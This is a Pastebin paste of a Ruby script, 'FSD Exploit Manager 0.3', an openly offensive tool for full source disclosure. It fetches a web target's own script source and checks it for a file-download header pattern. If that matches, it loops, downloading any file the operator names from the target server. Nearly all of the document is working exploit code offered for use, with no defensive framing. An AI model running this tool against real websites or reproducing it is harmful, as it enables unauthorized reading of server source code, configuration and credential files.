Advertisement
Doddy

FSD Exploit Manager 0.3

Jan 1st, 2015
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.35 KB | None | 0 0
  1. #!usr/bin/ruby
  2. #FSD Exploit Manager 0.3
  3.  
  4. require "open-uri"
  5. require "net/http"  
  6.  
  7. # Functions
  8.  
  9. def toma(web)
  10.     begin
  11.         return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  12.     rescue
  13.         return "Error"
  14.     end
  15. end
  16.  
  17. def uso
  18.     print "\n[+] Sintax : ruby locateip.rb <target>\n"
  19. end
  20.  
  21. def  head
  22.     print "\n\n-- == FSD Exploit Manager 0.3 == --\n\n"
  23. end
  24.  
  25. def copyright
  26.     print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  27.     exit(1)
  28. end
  29.  
  30. def installer
  31.     if not Dir.exists?("logs")
  32.         Dir.mkdir "logs"
  33.     end
  34.     Dir.chdir("logs")
  35. end
  36.  
  37. def download(file,name)
  38.     File.open(name, "wb") do |saved_file|
  39.         open(file, "rb") do |read_file|
  40.             saved_file.write(read_file.read)
  41.         end
  42.     end
  43. end
  44.  
  45. def scan_fsd(target)
  46.     print "\n[+] Scanning ...\n\n"
  47.     path = File.basename(URI(target).path)
  48.     code = toma(target+path)
  49.     if code=~/header\((.*)Content-Disposition: attachment;/
  50.         print "[+] Vulnerable !\n"
  51.         while(1)
  52.             print "\n[+] Insert Filename : "
  53.             filename = STDIN.gets.chomp
  54.             if filename=="exit"
  55.                 copyright()
  56.             else
  57.                 download(target+filename,filename)
  58.                 print "\n[+] Downloaded !\n"
  59.             end
  60.         end
  61.        
  62.     else
  63.         print "[-] Not vulnerable\n"
  64.     end
  65. end
  66.  
  67. target = ARGV[0]
  68.  
  69. installer()
  70.  
  71. head()
  72.  
  73. if !target
  74.     uso()
  75. else
  76.     scan_fsd(target)
  77. end
  78.  
  79. copyright()
  80.  
  81. #The End ?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement